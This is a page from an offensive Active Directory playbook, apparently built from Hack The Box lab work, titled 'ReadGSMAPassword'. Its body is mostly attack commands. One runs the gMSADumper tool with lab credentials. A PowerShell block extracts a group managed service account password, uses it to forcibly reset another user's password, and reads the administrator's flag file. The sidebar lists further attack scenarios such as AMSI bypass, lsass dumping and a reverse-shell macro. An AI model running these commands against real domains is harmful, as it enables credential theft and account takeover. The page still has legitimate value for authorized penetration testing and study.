🏴‍☠️
PlayBook
  • 🎄Active Directory Checklist
  • 👩‍✈️Active Directory Commands
  • ⛓️Scenarios
    • Allowed To Delegate
    • Ansible Vault found
    • You have found an Azure sync sql server and have access
    • Backup Operator SeBackupPrivilege dump ntds.dit
    • Bypass AMSI
    • Certificate Authority create certificate request
    • Certificate Authority Vulnerable Cert
    • Certificate Found
    • Check connectivity with ping
    • Debug Python
    • Decode Strings
    • Defender Outbound Connection
    • Defender remove definitions
    • Deleted AD Object
    • Deserialization Payloads
    • dig enumeration
    • DnsAdmin PrivEsc
    • DomainDump analysys
    • Files found
    • Evil Winrm Kerberos
    • Find ipv6 Ipv6 Port Scanning
    • Find Write to Share NTLM Theft
    • Force auth back to yourself
    • Forward from host Enable Ip Forwarding Kali
    • GPP Groups.xml
    • Grep email from complex content
    • Icacls protect binary from system
    • install dacledit.py
    • Invoke WebRequest vhost
    • Jenkins Found
    • Kerberos Auth required
    • Overview
    • Get Laps passwords
    • ldapmodify to update AD
    • LibreOffice Reverse Shell macro
    • lsass.dmp
    • Offline Sam dump
    • Powershell Oneliners
    • Port 135 MSRPC
    • RBCD GenericAll Computer
    • ReadGSMAPassword
    • Reset password with mimikatz
    • Shadow Credentials
    • Sign Powershell script
    • SMTP Server Found
    • SOCAT to redirect ports
    • System on DC TGT Delegation
    • Take ownership of files and set permissions
    • TightVnc Registry Password
    • WinRM requires ssl
    • WriteDACL Rights
    • AD Allowed to change owner
    • Add AD DNS entry Scripted Outbound Connection Found
Powered by GitBook
On this page
  1. Scenarios

ReadGSMAPassword

dosudo git clone https://github.com/micahvandeusen/gMSADumper python3 gMSADumper.py -u 'ted.graves' -p 'Mr.Teddy' -l dc -d intelligence.htb

Powershell

$mp=(get-adserviceaccount bir-adfs-gmsa -properties msDS-ManagedPassword).'msDS-managedpassword'
$password = (convertfrom-admanagedpasswordblob $mp).SecureCurrentPassword
$Cred = New-Object System.Management.Automation.PSCredential('search\BIR-ADFS-GMSA$', $password)
Set-ADAccountPassword -Identity 'tristan.davies' -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Password123!" -Force) -credential $cred

Invoke-command -computername 127.0.0.1 -scriptblock {cat c:\users\administrator\desktop\root.txt} -Credential $Cred
PreviousRBCD GenericAll ComputerNextReset password with mimikatz
⛓️